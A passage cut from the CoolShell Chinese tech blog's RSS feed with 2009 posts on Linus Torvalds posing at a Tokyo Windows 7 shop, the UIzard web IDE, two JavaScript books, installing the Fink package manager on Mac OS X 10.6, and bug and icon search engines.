开始热卖的时候，正当广大北美用户抱怨Windows 7的销售价格，在东方要比西方便宜很多的时候。我们著名的Linus Torvalds来到了日本东京的一个软件商店里“庆祝Windows 7的Release”，难道他是去那里买一份便宜的Windows 7？</p>\n<p style=\"text-align: center;\"><a href=\"http://www.flickr.com/photos/offthebroiler/4036243510/sizes/o/\" target=_blank><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2009/10/Linus_windows_7.jpg\" alt=\"Linus Torvalds 在一个日本的软件商店\" width=\"475\" /></a></p>\n<p style=\"text-align: center;\"><em>Linus Torvalds, 图片来自一个未经确认的 Yodobashi 商店， Tokyo, Japan. 来源: Jim Zemlin/The Linux Foundation (<strong>点击看大图</strong>)</em></p>\n<p>这个图片目前还没有新闻报道，不过已有很多来源可以参考了……</p>\n<p><span id=\"more-1619\"></span></p>\n<p>Linus在日本参加一个<a href=\"http://events.linuxfoundation.org/events/japan-linux-symposium\"><strong>Japan Linux Symposium</strong></a>的座谈会，在一个Picaca的<a href=\"http://picasaweb.google.com/cschlaeger/JapanLinuxSymposium#5395400000458161906\" target=\"_blank\">链接</a>上说，Microsoft选择了和Japan Linux Symposium同一天，在座谈会的间隙，Linus和其同事想做点有趣的事情，于是他们来到了Windows 7的小商店里，当然，售货员同志并不知道这人是谁，而Linus一进店里马上就做了一个下蹲坚大拇指的手势，而他的同事很识相地马上就照了一张照片。呵呵，当然，他们什么也没有买。</p>\n<p>而在一个据说是照片作者的 <a href=\"http://blogs.zdnet.com/perlow/?p=11403\" target=\"_blank\">BLOG</a> 上，博主也证实了相关的说法，说，这是Linus的一种幽默的态度，还说，Linus应该做一个V字型的手势而不是大拇指，这主要是Linus对东方文不了解。呵呵。</p>\n<p>呵呵，很有意思吧。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/16910.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"Linus：为何对象引用计数必须是原子的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/16910.html\" class=\"wp_rp_title\">Linus：为何对象引用计数必须是原子的</a></li><li ><a href=\"https://coolshell.cn/articles/9917.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"Alan Cox：大教堂、市集与市议会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9917.html\" class=\"wp_rp_title\">Alan Cox：大教堂、市集与市议会</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8275.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"对九个超级程序员的采访\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8275.html\" class=\"wp_rp_title\">对九个超级程序员的采访</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1619.html\">Windows 7 的新粉丝 Linus Torvalds</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1619.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Ajax开发利器UIzard</title>\n\t\t<link>https://coolshell.cn/articles/1611.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1611.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 22 Oct 2009 15:40:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Ajax开发]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[AJAX]]></category>\n\t\t<category><![CDATA[UIzard]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1611</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>正如UIzard这个名字所暗示的，这是一个User Interface 的Wizard，从字面上理解，这是一个做界面的向导。这有什么奇怪的，Dreamwave之...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1611.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1611.html\">Ajax开发利器UIzard</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/10/uizard2.jpg\"></a>正如UIzard这个名字所暗示的，这是一个User Interface 的Wizard，从字面上理解，这是一个做界面的向导。这有什么奇怪的，Dreamwave之流已经是相当的成熟了，还能好得过它？是的，这个开源的项目，也许并没有那些商业软件那么成熟，不过，我想告诉你的是，这个开源软件绝对是值得我们重点关注的一个软件。</p>\n<p>你可以理解为这是一个Web开发的IDE，不过其集成了Ajax方面的东西。这并不仅仅简单的是那种“所见即所得”的编辑器。而且，它也不信仅可以让那些非程序员非常简单地创建一个从前端到后端的Web应用，而且，他还可以让你连接数据库，创建非常复杂的布局和时间线，甚至于一些套件（白板，在线的类Word，Excel，PPT等功能），所有这些，你只需要简单的点几下按钮就可以了。真是相当的强大。（下面是个抓图）</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"UIzard\" src=\"https://coolshell.cn/wp-content/uploads/2009/10/uizard2.jpg\" alt=\"UIzard\" width=\"500\" height=\"344\" /></p>\n<p><span id=\"more-1611\"></span></p>\n<p>看上去很不错吧，上面的的屏幕抓图展示了，你可以非常简单地嵌入一些Google的API。而且，你还可以设置RSS相关的功能，是的，源代码是很复杂的，但是有了这个工具，你所需要的就是用鼠标点来点去。</p>\n<p>最NB的是，你不需要在你的硬盘上安装这个工具，你完全是一个基于Web的在线IDE，真是太强大了，这是我最最欣赏的地方，真是令人难以置信。</p>\n<p>最后需要说的，这个工具的作者是一个韩国人，叫 Ryu Sungtae（韩国人的软件MS越来越猛了，比如那个著名的Kmplayer也是韩国人做的）， UIzard 由 Yahoo’ User Interface Library (YUI) 构造，这是一个基于Javascript 的用于创建各种交互式应用的程序库。虽然，目前的UIzard 只是Beta版，版本号还很新，0.9版，不过，这个项目的潜力是相当的大，值我们关注。</p>\n<p>其官方站点是：<a href=\"http://www.uizard.org/\" target=\"_blank\">http://www.uizard.org/</a> </p>\n<p>如果你想体验一下，那么，请你猛击下面的链接吧：（使用Fixfox效果更好）</p>\n<p style=\"text-align: center;\"><a href=\"http://www.uizard.org/UIzard/uizard.php\" target=\"_blank\">http://www.uizard.org/UIzard/uizard.php</a></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/10/uizard1.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-1614\" title=\"UIzard创建工程\" src=\"https://coolshell.cn/wp-content/uploads/2009/10/uizard1.jpg\" alt=\"UIzard创建工程\" width=\"500\" height=\"310\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/10/uizard1.jpg 500w, https://coolshell.cn/wp-content/uploads/2009/10/uizard1-300x186.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></a></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg\" alt=\"Javascript 装载和执行\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_title\">Javascript 装载和执行</a></li><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Web版的VNC\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_title\">Web版的VNC</a></li><li ><a href=\"https://coolshell.cn/articles/909.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"7个免费强大的Ajax文件管理器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/909.html\" class=\"wp_rp_title\">7个免费强大的Ajax文件管理器</a></li><li ><a href=\"https://coolshell.cn/articles/154.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/webmail1-150x150.jpg\" alt=\"10个基于Ajax的PHP Webmail客户端\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/154.html\" class=\"wp_rp_title\">10个基于Ajax的PHP Webmail客户端</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1611.html\">Ajax开发利器UIzard</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1611.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Javascript的两本书</title>\n\t\t<link>https://coolshell.cn/articles/1608.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1608.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 22 Oct 2009 15:12:25 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1608</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Definition Guide 和 The Good Part， 犀牛和蝴蝶，一厚一薄，事情不言而喻。 （转载本站文章请注明作者和出处 酷 壳 &#8211;...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1608.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1608.html\">Javascript的两本书</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Definition Guide 和 The Good Part， 犀牛和蝴蝶，一厚一薄，事情不言而喻。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/10/javascript.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-1609\" title=\"O'Reilly Javascript 的两本书\" src=\"https://coolshell.cn/wp-content/uploads/2009/10/javascript.jpg\" alt=\"O'Reilly Javascript 的两本书\" width=\"800\" height=\"600\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/10/javascript.jpg 800w, https://coolshell.cn/wp-content/uploads/2009/10/javascript-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/10/javascript-768x576.jpg 768w, https://coolshell.cn/wp-content/uploads/2009/10/javascript-360x270.jpg 360w\" sizes=\"(max-width: 800px) 100vw, 800px\" /></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1608.html\">Javascript的两本书</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1608.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>[推荐]基于Mac的Port工具Fink</title>\n\t\t<link>https://coolshell.cn/articles/1592.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1592.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[free.wang]]></dc:creator>\n\t\t<pubDate>Mon, 19 Oct 2009 11:06:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[fink]]></category>\n\t\t<category><![CDATA[Mac]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1592</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>看到标题，读者朋友们肯定第一时间想到的MacPort 。 恩，那是一款非常棒的工具。 不过我更愿意推荐各位使用另外一款工具 Fink(http://www.fi...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1592.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1592.html\">[推荐]基于Mac的Port工具Fink</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>看到标题，读者朋友们肯定第一时间想到的MacPort 。</p>\n<p>恩，那是一款非常棒的工具。 不过我更愿意推荐各位使用另外一款工具 Fink(http://www.finkproject.org/).</p>\n<blockquote><p>Fink 项目希望把 Unix 上各种<a href=\"http://www.opensource.org/\">开放源码</a>软件带到 <a href=\"http://www.opensource.apple.com/\">Darwin</a> 和 <a href=\"http://www.apple.com/macosx/\">Mac OS X</a> 平台上。 我们通过修改 Unix 软件使得它可以在 Mac OS X 上编译和运行（“移植”）,并提供一个方便的分发系统使得每个人都可以下载和使用它。 Fink 使用 <a href=\"http://www.debian.org/\">Debian</a> 中的象 dpkg 和 apt-get 等工具来提供强大的二进制软件包管理。 你可以随意选择是下载预编译好的二进制安装包或从源代码自己构建一切。</p></blockquote>\n<p>关于 Fink的安装 ，大部分用户可参见http://www.finkproject.org/download/index.php?phpLang=zh。<br />\n不过后面我主要想介绍我的安装方式，因为我的Mac 版本是10.6 64bit.所以还是有些差别。也许上述普通方法有效，但是我并未尝试。</p>\n<p>安装步骤如下（感谢 <a href=\"http://sage.ucsc.edu/~wgscott/xtal/wiki/index.php/64-bit_Fink_for_10.6\">http://sage.ucsc.edu/~wgscott/xtal/wiki/index.php/64-bit_Fink_for_10.6</a>）</p>\n<p><span id=\"more-1592\"></span></p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\ncvs -d:pserver:anonymous@fink.cvs.sourceforge.net:/cvsroot/fink login\n #just hit return when prompted for password\ncvs -z3 -d:pserver:anonymous@fink.cvs.sourceforge.net:/cvsroot/fink co -P fink\ncd fink\n./bootstrap /sw\n</pre>\n<p>以上最后一步可能会花80%的时间，因为它会执行下载及编译这些很核心的工作。</p>\n<p>完成之后编辑 <span style=\"font-family: monospace, 'Times New Roman', 'Bitstream Charter', Times, serif;line-height: 24px;font-size: 17px;color: #99cc00\">/<span style=\"color: #fffbc6\"><span style=\"color: #99cc00\">sw/etc/fink.conf </span><span style=\"color: #000000;font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif;line-height: 19px;font-size: 13px\">第4行为：</span></span></span></p>\n<p><span style=\"color: #ff6600;font-size: large\"><span style=\"line-height: 24px\"><span style=\"font-size: 12px\"><strong><span style=\"color: #3366ff\">Trees: local/main stable/main stable/crypto unstable/main unstable/crypto</span></strong></span></span></span></p>\n<p>接下来就可以使用fink了。 fink的启动 我加了如下代码</p>\n<pre data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">source /sw/bin/init.sh\nfink selfupdate-cvs\nfink -y update-all\nfink scanpackages\n</pre>\n<p>我建议 再执行一条</p>\n<p><code data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">echo &quot;source /sw/bin/init.sh&quot;  &gt;&gt; ~/.bash_profile</code></p>\n<p>这样新开终端进程的时候 就不用重新初始化fint了,完成以上步骤，就能使用fink了。</p>\n<p>我之所以抛弃了macport 是因为他目前出现的和新版10.6的冲突问题，导致系统gcc库环境出现错误，而macport又与系统架构上不兼容 ，导致Port不能用 gcc 也不能用，而我又准备拿光盘重装developer环境的时候，光驱坏了 DVD盘一律不能读 :shame goodness&#8230;!<br />\nfink的出现完全让我避开了以上问题，或许上述问题的出现有我个人原因。 但是fink有很重要的一点，就是它的源很快。他会自动推荐最适合我们的镜像。如果我们要随时更换fink的配置， 可以执行 <span style=\"color: #3366ff\">fink configure.</span></p>\n<p>我相信读到这里，会有不少习惯Port的朋友使用 Fink， Just do it, Fink和MacPort 同时存在并不是什么坏事，虽然我已经把MacPort彻底删了。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2719.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"苹果开发工具Xcode 4 第二预览版\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2719.html\" class=\"wp_rp_title\">苹果开发工具Xcode 4 第二预览版</a></li><li ><a href=\"https://coolshell.cn/articles/1272.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/08/linux_airline-150x150.jpg\" alt=\"操作系统航空公司\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1272.html\" class=\"wp_rp_title\">操作系统航空公司</a></li><li ><a href=\"https://coolshell.cn/articles/559.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"菜鸟学PHP之Smarty入门\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/559.html\" class=\"wp_rp_title\">菜鸟学PHP之Smarty入门</a></li><li ><a href=\"https://coolshell.cn/articles/3433.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"6个有用的MySQL语句\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3433.html\" class=\"wp_rp_title\">6个有用的MySQL语句</a></li><li ><a href=\"https://coolshell.cn/articles/3254.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/jpDEK-150x150.jpg\" alt=\"一个人脸识别的Javascript\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3254.html\" class=\"wp_rp_title\">一个人脸识别的Javascript</a></li><li ><a href=\"https://coolshell.cn/articles/4261.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"JavaMail使用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4261.html\" class=\"wp_rp_title\">JavaMail使用</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1592.html\">[推荐]基于Mac的Port工具Fink</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1592.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Bug 和 Icon 搜索引擎</title>\n\t\t<link>https://coolshell.cn/articles/1582.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1582.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 15 Oct 2009 02:55:02 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[bug]]></category>\n\t\t<category><![CDATA[icons]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1582</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前给大家推荐过一个《PDF电子书搜索引擎》，现在再来推荐两个： 一个是开源项目的bug搜索引擎（当你想要选用某个开源软件的时候，或是你发现有一些异常的时候，你...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1582.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1582.html\">Bug 和 Icon 搜索引擎</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前给大家推荐过一个《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/424.html\">PDF电子书搜索引擎</a>》，现在再来推荐两个：</p>\n<p>一个是开源项目的bug搜索引擎（当你想要选用某个开源软件的时候，或是你发现有一些异常的时候，你可以先去看看是否有一些相关的BUG）</p>\n<p style=\"text-align: center;\"><a href=\"http://bugspy.net/\" target=\"_blank\"><strong>http://bugspy.net/</strong></a></p>\n<p style=\"text-align: center;\"><a href=\"http://bugspy.net/\" target=\"_blank\"><img decoding=\"async\" src=\"http://bugspy.net/site_media/images/logo.png\" alt=\"bugSpy.net\" /></a></p>\n<p> </p>\n<p>还有一个是图标的搜索引擎（那些ICON还是比较精美的，可以用来做UI的开发）</p>\n<p style=\"text-align: center;\"><a href=\"http://www.iconfinder.net/\" target=\"_blank\"><br />\n<strong>http://www.iconfinder.net/<br />\n</strong></a></p>\n<p style=\"text-align: center;\"><a href=\"http://www.iconfinder.net/\" target=\"_blank\"><br />\n<img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2009/10/iconfinder.png\" alt=\"Iconfinder provides high quality icons for webdesigners and developers in an easy and efficient way\" width=\"376\" height=\"153\" /></a></p>\n<p style=\"text-align: left;\">(全文完)</p>\n<p><!--\n\n\n\n<p 